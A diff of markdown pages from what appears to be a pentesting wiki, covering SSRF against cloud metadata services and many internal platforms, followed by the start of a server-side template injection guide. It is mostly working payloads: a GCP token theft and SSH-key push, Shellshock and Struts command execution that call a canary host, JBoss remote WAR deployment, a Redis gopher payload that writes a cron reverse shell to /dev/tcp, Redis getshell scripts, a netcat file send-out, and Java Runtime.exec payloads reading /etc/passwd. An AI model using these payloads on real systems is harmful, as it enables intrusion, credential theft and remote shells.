[`http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json`](http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json) -### Add an SSH key +### Add an SSH key Extract the token -```text +``` http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json ``` Check the scope of the token -```text +``` $ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA { "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", @@ -428,18 +428,18 @@ $ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuX Now push the SSH key. -```text +``` curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" -H "Content-Type: application/json" --data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}' ``` -### SSRF URL for Digital Ocean +### SSRF URL for Digital Ocean Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) -```text +``` curl http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1.json http://169.254.169.254/metadata/v1/ @@ -451,11 +451,11 @@ http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one re curl http://169.254.169.254/metadata/v1.json | jq ``` -### SSRF URL for Packetcloud +### SSRF URL for Packetcloud Documentation available at [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata) -### SSRF URL for Azure +### SSRF URL for Azure Limited, maybe more exists? [`https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/`](https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/) @@ -463,65 +463,65 @@ Limited, maybe more exists? [`https://azure.microsoft.com/en-us/blog/what-just-h Update Apr 2017, Azure has more support; requires the header “Metadata: true” [`https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service`](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service) -```text +``` http://169.254.169.254/metadata/instance?api-version=2017-04-02 http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text ``` -### SSRF URL for OpenStack/RackSpace +### SSRF URL for OpenStack/RackSpace -\(header required? unknown\) +(header required? unknown) -```text +``` http://169.254.169.254/openstack ``` -### SSRF URL for HP Helion +### SSRF URL for HP Helion -\(header required? unknown\) +(header required? unknown) -```text +``` http://169.254.169.254/2009-04-04/meta-data/ ``` -### SSRF URL for Oracle Cloud +### SSRF URL for Oracle Cloud -```text +``` http://192.0.0.192/latest/ http://192.0.0.192/latest/user-data/ http://192.0.0.192/latest/meta-data/ http://192.0.0.192/latest/attributes/ ``` -### SSRF URL for Alibaba +### SSRF URL for Alibaba -```text +``` http://100.100.100.200/latest/meta-data/ http://100.100.100.200/latest/meta-data/instance-id http://100.100.100.200/latest/meta-data/image-id ``` -### SSRF URL for Kubernetes ETCD +### SSRF URL for Kubernetes ETCD Can contain API keys and internal ip and ports -```text +``` curl -L http://127.0.0.1:2379/version curl http://127.0.0.1:2379/v2/keys/?recursive=true ``` -### SSRF URL for Docker +### SSRF URL for Docker -```text +``` http://127.0.0.1:2375/v1.24/containers/jsonSimple example docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json ``` -### SSRF URL for Rancher +### SSRF URL for Rancher -```text +``` curl http://rancher-metadata// ``` @@ -531,24 +531,24 @@ The difference between a blind SSRF and a not blind one is that in the blind you ### Time based SSRF -**Checking the time** of the responses from the server it might be **possible to know if a resource exists or not** \(maybe it takes more time accessing an existing resource than accessing one that doesn't exist\) +**Checking the time** of the responses from the server it might be** possible to know if a resource exists or not** (maybe it takes more time accessing an existing resource than accessing one that doesn't exist) ## Detect SSRF -You can use [https://github.com/teknogeek/ssrf-sheriff](https://github.com/teknogeek/ssrf-sheriff) to create an HTTP server that will respond correctly to a lot of different requests \(GET, POST, PTU, DELETE, JSON, TXT, GIF, MP3...\). +You can use [https://github.com/teknogeek/ssrf-sheriff](https://github.com/teknogeek/ssrf-sheriff) to create an HTTP server that will respond correctly to a lot of different requests (GET, POST, PTU, DELETE, JSON, TXT, GIF, MP3...). * [SSRFmap - https://github.com/swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap) * [Gopherus - https://github.com/tarunkant/Gopherus](https://github.com/tarunkant/Gopherus) ## To practice -{% embed url="https://github.com/incredibleindishell/SSRF\_Vulnerable\_Lab" %} +{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %} ## Vulnerable Platforms This section was copied from [https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/) -### Elasticsearch +### Elasticsearch **Commonly bound port: 9200** @@ -556,7 +556,7 @@ When Elasticsearch is deployed internally, it usually does not require authentic If you have a partially blind SSRF where you can determine the status code, check to see if the following endpoints return a 200: -```text +``` /_cluster/health /_cat/indices /_cat/health @@ -566,20 +566,20 @@ If you have a blind SSRF where you can send POST requests, you can shut down the Note: the `_shutdown` API has been removed from Elasticsearch version 2.x. and up. This only works in Elasticsearch 1.6 and below: -```text +``` /_shutdown /_cluster/nodes/_master/_shutdown /_cluster/nodes/_shutdown /_cluster/nodes/_all/_shutdown ``` -### Weblogic +### Weblogic -**Commonly bound ports: 80, 443 \(SSL\), 7001, 8888** +**Commonly bound ports: 80, 443 (SSL), 7001, 8888** -**SSRF Canary: UDDI Explorer \(CVE-2014-4210\)** +**SSRF Canary: UDDI Explorer (CVE-2014-4210)** -```text +``` POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1 Host: target.com Content-Length: 137 @@ -590,13 +590,13 @@ operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey This also works via GET: -```text +``` http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search ``` This endpoint is also vulnerable to CRLF injection: -```text +``` GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0 Host: vuln.weblogic Accept-Encoding: gzip, deflate @@ -608,7 +608,7 @@ Connection: close Will result in the following request: -```text +``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! @@ -631,7 +631,7 @@ Taken from [here](https://forum.90sec.com/t/topic/1412). Linux: -```text +``` POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 @@ -648,7 +648,7 @@ _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.su Windows: -```text +``` POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 @@ -663,15 +663,15 @@ Content-Length: 117 _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml") ``` -### Hashicorp Consul +### Hashicorp Consul -**Commonly bound ports: 8500, 8501 \(SSL\)** +**Commonly bound ports: 8500, 8501 (SSL)** Writeup can be found [here](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html). -### Shellshock +### Shellshock -**Commonly bound ports: 80, 443 \(SSL\), 8080** +**Commonly bound ports: 80, 443 (SSL), 8080** In order to effectively test for Shellshock, you may need to add a header containing the payload. The following CGI paths are worth trying: @@ -681,11 +681,11 @@ Short list of CGI paths to test: **SSRF Canary: Shellshock via User Agent** -```text +``` User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY ``` -### Apache Druid +### Apache Druid **Commonly bound ports: 80, 8080, 8888, 8082** @@ -693,7 +693,7 @@ See the API reference for Apache Druid [here](https://druid.apache.org/docs/late If you can view the status code, check the following paths to see if they return a 200 status code: -```text +``` /status/selfDiscovered/status /druid/coordinator/v1/leader /druid/coordinator/v1/metadata/datasources @@ -702,19 +702,19 @@ If you can view the status code, check the following paths to see if they return Shutdown tasks, requires you to guess task IDs or the datasource name: -```text +``` /druid/indexer/v1/task/{taskId}/shutdown /druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks ``` Shutdown supervisors on Apache Druid Overlords: -```text +``` /druid/indexer/v1/supervisor/terminateAll /druid/indexer/v1/supervisor/{supervisorId}/shutdown ``` -### Apache Solr +### Apache Solr **Commonly bound port: 8983** @@ -722,18 +722,18 @@ Shutdown supervisors on Apache Druid Overlords: Taken from [here](https://github.com/veracode-research/solr-injection). -```text +``` /search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}} /solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json /xxx?q=aaa%26shards=http://SSRF_CANARY/solr /xxx?q=aaa&shards=http://SSRF_CANARY/solr ``` -**SSRF Canary: Solr XXE \(2017\)** +**SSRF Canary: Solr XXE (2017)** -[Apache Solr 7.0.1 XXE \(Packetstorm\)](https://packetstormsecurity.com/files/144678/Apache-Solr-7.0.1-XXE-Injection-Code-Execution.html) +[Apache Solr 7.0.1 XXE (Packetstorm)](https://packetstormsecurity.com/files/144678/Apache-Solr-7.0.1-XXE-Injection-Code-Execution.html) -```text +``` /solr/gettingstarted/select?q={!xmlparser v='' /xxx?q={!type=xmlparser v=""} ``` @@ -742,15 +742,15 @@ Taken from [here](https://github.com/veracode-research/solr-injection). [Research on RCE via dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler) -### PeopleSoft +### PeopleSoft -**Commonly bound ports: 80,443 \(SSL\)** +**Commonly bound ports: 80,443 (SSL)** Taken from this research [here](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce). -**SSRF Canary: XXE \#1** +**SSRF Canary: XXE #1** -```text +``` POST /PSIGW/HttpListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml @@ -786,9 +786,9 @@ Content-Type: application/xml ``` -**SSRF Canary: XXE \#2** +**SSRF Canary: XXE #2** -```text +``` POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml @@ -797,9 +797,9 @@ Content-Type: application/xml ``` -### Apache Struts +### Apache Struts -**Commonly bound ports: 80,443 \(SSL\),8080,8443 \(SSL\)** +**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/). @@ -807,81 +807,81 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/). Append this to the end of every internal endpoint/URL you know of: -```text +``` ?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()} ``` -### JBoss +### JBoss -**Commonly bound ports: 80,443 \(SSL\),8080,8443 \(SSL\)** +**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/). **SSRF Canary: Deploy WAR from URL** -```text +``` /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war ``` -### Confluence +### Confluence -**Commonly bound ports: 80,443 \(SSL\),8080,8443 \(SSL\)** +**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** -**SSRF Canary: Sharelinks \(Confluence versions released from 2016 November and older\)** +**SSRF Canary: Sharelinks (Confluence versions released from 2016 November and older)** -```text +``` /rest/sharelinks/1.0/link?url=https://SSRF_CANARY/ ``` -**SSRF Canary: iconUriServlet - Confluence < 6.1.3 \(CVE-2017-9506\)** +**SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)** [Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344) -```text +``` /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY ``` -### Jira +### Jira -**Commonly bound ports: 80,443 \(SSL\),8080,8443 \(SSL\)** +**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** -**SSRF Canary: iconUriServlet - Jira < 7.3.5 \(CVE-2017-9506\)** +**SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)** [Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344) -```text +``` /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY ``` -**SSRF Canary: makeRequest - Jira < 8.4.0 \(CVE-2019-8451\)** +**SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)** [Atlassian Security Ticket JRASERVER-69793](https://jira.atlassian.com/browse/JRASERVER-69793) -```text +``` /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com ``` -### Other Atlassian Products +### Other Atlassian Products -**Commonly bound ports: 80,443 \(SSL\),8080,8443 \(SSL\)** +**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** -**SSRF Canary: iconUriServlet \(CVE-2017-9506\)**: +**SSRF Canary: iconUriServlet (CVE-2017-9506)**: -* Bamboo < 6.0.0 -* Bitbucket < 4.14.4 -* Crowd < 2.11.2 -* Crucible < 4.3.2 -* Fisheye < 4.3.2 +* Bamboo < 6.0.0 +* Bitbucket < 4.14.4 +* Crowd < 2.11.2 +* Crucible < 4.3.2 +* Fisheye < 4.3.2 [Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344) -```text +``` /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY ``` -### OpenTSDB +### OpenTSDB **Commonly bound port: 4242** @@ -889,19 +889,19 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/). **SSRF Canary: curl via RCE** -```text +``` /q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png ``` -### Jenkins +### Jenkins -**Commonly bound ports: 80,443 \(SSL\),8080,8888** +**Commonly bound ports: 80,443 (SSL),8080,8888** Great writeup [here](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html). **SSRF Canary: CVE-2018-1000600** -```text +``` /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai ``` @@ -909,7 +909,7 @@ Great writeup [here](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play- Follow the instructions here to achieve RCE via GET: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html) -```text +``` /org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange; ``` @@ -921,21 +921,21 @@ pay = 'public class x {public x(){"%s".execute()}}' % cmd data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay) ``` -### Hystrix Dashboard +### Hystrix Dashboard -**Commonly bound ports: 80,443 \(SSL\),8080** +**Commonly bound ports: 80,443 (SSL),8080** Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6. **SSRF Canary: CVE-2020-5412** -```text +``` /proxy.stream?origin=http://SSRF_CANARY/ ``` -### W3 Total Cache +### W3 Total Cache -**Commonly bound ports: 80,443 \(SSL\)** +**Commonly bound ports: 80,443 (SSL)** W3 Total Cache 0.9.2.6-0.9.3 @@ -943,7 +943,7 @@ W3 Total Cache 0.9.2.6-0.9.3 This needs to be a PUT request: -```text +``` PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1 Host: Accept: */* @@ -957,9 +957,9 @@ Connection: close **SSRF Canary** -The advisory for this vulnerability was released here: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3_total_cache.html) +The advisory for this vulnerability was released here: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3\_total_cache.html) -This PHP code will generate a payload for your SSRF Canary host \(replace `url` with your canary host\): +This PHP code will generate a payload for your SSRF Canary host (replace `url` with your canary host): ```php ``` -### Docker +### Docker -**Commonly bound ports: 2375, 2376 \(SSL\)** +**Commonly bound ports: 2375, 2376 (SSL)** If you have a partially blind SSRF, you can use the following paths to verify the presence of Docker’s API: -```text +``` /containers/json /secrets /services @@ -987,7 +987,7 @@ If you have a partially blind SSRF, you can use the following paths to verify th **RCE via running an arbitrary docker image** -```text +``` POST /containers/create?name=test HTTP/1.1 Host: website.com Content-Type: application/json @@ -998,7 +998,7 @@ Content-Type: application/json Replace alpine with an arbitrary image you would like the docker container to run. -### Gitlab Prometheus Redis Exporter +### Gitlab Prometheus Redis Exporter **Commonly bound ports: 9121** @@ -1008,13 +1008,13 @@ These exporters provide an excellent method for an attacker to pivot and attack The following endpoint will allow an attacker to dump all the keys in the redis server provided via the target parameter: -```text +``` http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=* ``` **Possible via Gopher** -### Redis +### Redis **Commonly bound port: 6379** @@ -1035,11 +1035,11 @@ redis-cli -h $1 save Gopher: -```text +``` gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a ``` -**RCE via Shell Upload \(PHP\)** - [Redis Getshell Summary](https://www.mdeditor.tw/pl/pBy0) +**RCE via Shell Upload (PHP)** - [Redis Getshell Summary](https://www.mdeditor.tw/pl/pBy0) ```python #!/usr/bin/env python @@ -1079,7 +1079,7 @@ if __name__=="__main__": print payload ``` -**RCE via authorized\_keys** - [Redis Getshell Summary](https://www.mdeditor.tw/pl/pBy0) +**RCE via authorized_keys** - [Redis Getshell Summary](https://www.mdeditor.tw/pl/pBy0) ```python import urllib @@ -1122,11 +1122,11 @@ Great writeup from Liveoverflow [here](https://liveoverflow.com/gitlab-11-4-7-re While this required authenticated access to GitLab to exploit, I am including the payload here as the `git` protocol may work on the target you are hacking. This payload is for reference. -```text +``` git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` -### Memcache +### Memcache **Commonly bound port: 11211** @@ -1139,9 +1139,9 @@ gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a: gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a ``` -### Apache Tomcat +### Apache Tomcat -**Commonly bound ports: 80,443 \(SSL\),8080,8443 \(SSL\)** +**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** Effective against Tomcat 6 only: @@ -1151,9 +1151,9 @@ CTF writeup using this technique: [From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/) -### FastCGI +### FastCGI -**Commonly bound ports: 80,443 \(SSL\)** +**Commonly bound ports: 80,443 (SSL)** This was taken from [here](https://blog.chaitin.cn/gopher-attack-surfaces/). @@ -1163,7 +1163,7 @@ gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04% **Tools** -### Gopherus +### Gopherus * [Gopherus - Github](https://github.com/tarunkant/Gopherus) * [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) @@ -1177,16 +1177,14 @@ This tool generates Gopher payloads for: * Zabbix * Memcache -### SSRF Proxy +### SSRF Proxy * [SSRF Proxy](https://github.com/bcoles/ssrf_proxy) -SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery \(SSRF\). +SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF). ## References * [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) - - diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md index b4cbbd7d..3d48fe18 100644 --- a/pentesting-web/ssti-server-side-template-injection/README.md +++ b/pentesting-web/ssti-server-side-template-injection/README.md @@ -1,4 +1,4 @@ -# SSTI \(Server Side Template Injection\) +# SSTI (Server Side Template Injection) **This guide is based on the one of Portswigger:** [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection) @@ -16,7 +16,7 @@ $output = $twig->render("Dear " . $_GET['name']); In the previous example **part of the template** itself is being **dynamically generated** using the `GET` parameter `name`. As template syntax is evaluated server-side, this potentially allows an attacker to place a server-side template injection payload inside the `name` parameter as follows: -```text +``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` @@ -26,15 +26,15 @@ http://vulnerable-website.com/?name={{bad-stuff-here}} ### Detect -As with any vulnerability, the first step towards exploitation is being able to find it. Perhaps the simplest initial approach is to try **fuzzing the template** by injecting a sequence of special characters commonly used in template expressions, such as the polyglot `${{<%[%'"}}%\`. -In order to check if the server is vulnerable you should **spot the differences** between the response with **regular data** on the parameter and the **given payload**. +As with any vulnerability, the first step towards exploitation is being able to find it. Perhaps the simplest initial approach is to try **fuzzing the template** by injecting a sequence of special characters commonly used in template expressions, such as the polyglot `${{<%[%'"}}%\`.\ +In order to check if the server is vulnerable you should **spot the differences** between the response with **regular data** on the parameter and the **given payload**.\ If an **error is thrown** it will be quiet easy to figure out that **the server is vulnerable** and even which **engine is running**. But you could also find a vulnerable server if you were **expecting** it to **reflect** the given payload and it is **not being reflected** or if there are some **missing chars** in the response. #### Detect - Plaintext context The given input is being **rendered and reflected** into the response. This is easily **mistaken for a simple** [**XSS**](../xss-cross-site-scripting/) vulnerability, but it's easy to differentiate if you try to set **mathematical operations** within a template expression: -```text +``` {{7*7}} ${7*7} <%= 7*7 %> @@ -52,25 +52,25 @@ engine.render("Hello {{"+greeting+"}}", data) The URL access that page could be similar to: `http://vulnerable-website.com/?greeting=data.username` -If you **change** the **`greeting`** parameter for a **different value** the **response won't contain the username**, but if you access something like: `http://vulnerable-website.com/?greeting=data.username}}hello` then, **the response will contain the username** \(if the closing template expression chars were **`}}`**\). +If you **change** the **`greeting`** parameter for a **different value** the **response won't contain the username**, but if you access something like: `http://vulnerable-website.com/?greeting=data.username}}hello` then, **the response will contain the username** (if the closing template expression chars were **`}}`**).\ If an **error** is thrown during these test, it will be easier to find that the server is vulnerable. ### Identify -Once you have detected the template injection potential, the next step is to identify the template engine. +Once you have detected the template injection potential, the next step is to identify the template engine.\ Although there are a huge number of templating languages, many of them use very similar syntax that is specifically chosen not to clash with HTML characters. If you are lucky the server will be **printing the errors** and you will be able to find the **engine** used **inside** the errors. Some possible payloads that may cause errors: -| `${}` | `{{}}` | `<%= %>` | -| :--- | :--- | :--- | -| `${7/0}` | `{{7/0}}` | `<%= 7/0 %>` | +| `${}` | `{{}}` | `<%= %>` | +| ----------- | ------------ | --------------- | +| `${7/0}` | `{{7/0}}` | `<%= 7/0 %>` | | `${foobar}` | `{{foobar}}` | `<%= foobar %>` | -| `${7*7}` | `{{7*7}}` | \`\` | +| `${7*7}` | `{{7*7}}` | \`\` | Otherwise, you'll need to manually **test different language-specific payloads** and study how they are interpreted by the template engine. A common way of doing this is to inject arbitrary mathematical operations using syntax from different template engines. You can then observe whether they are successfully evaluated. To help with this process, you can use a decision tree similar to the following: -![](../../.gitbook/assets/image%20%289%29.png) +![](<../../.gitbook/assets/image (272).png>) ### Exploit @@ -139,9 +139,9 @@ ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` -### FreeMarker \(Java\) +### FreeMarker (Java) -You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org/) +You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org) * `{{7*7}} = {{7*7}}` * `${7*7} = 49` @@ -172,9 +172,9 @@ ${dwf.newInstance(ec,null)("id")} #### More information * In FreeMarker section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) -* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker) +* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker) -### Velocity \(Java\) +### Velocity (Java) ```java #set($str=$class.inspect("java.lang.String").type) @@ -190,20 +190,20 @@ $str.valueOf($chr.toChars($out.read())) #### More information * In Velocity section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) -* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity) +* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity) -### Thymeleaf \(Java\) +### Thymeleaf (Java) The typical test expression for SSTI is `${7*7}`. This expression works in Thymeleaf, too. If you want to achieve remote code execution, you can use one of the following test expressions: * SpringEL: `${T(java.lang.Runtime).getRuntime().exec('calc')}` * OGNL: `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}` -However, as we mentioned before, expressions only work in special Thymeleaf attributes. If it’s necessary to use an expression in a different location in the template, Thymeleaf supports _expression inlining_. To use this feature, you must put an expression within `[[...]]` or `[(...)]` \(select one or the other depending on whether you need to escape special symbols\). Therefore, a simple SSTI detection payload for Thymeleaf would be `[[${7*7}]]`. +However, as we mentioned before, expressions only work in special Thymeleaf attributes. If it’s necessary to use an expression in a different location in the template, Thymeleaf supports _expression inlining_. To use this feature, you must put an expression within `[[...]]` or `[(...)]` (select one or the other depending on whether you need to escape special symbols). Therefore, a simple SSTI detection payload for Thymeleaf would be `[[${7*7}]]`. Chances that the above detection payload would work are, however, very low. SSTI vulnerabilities usually happen when a template is dynamically generated in the 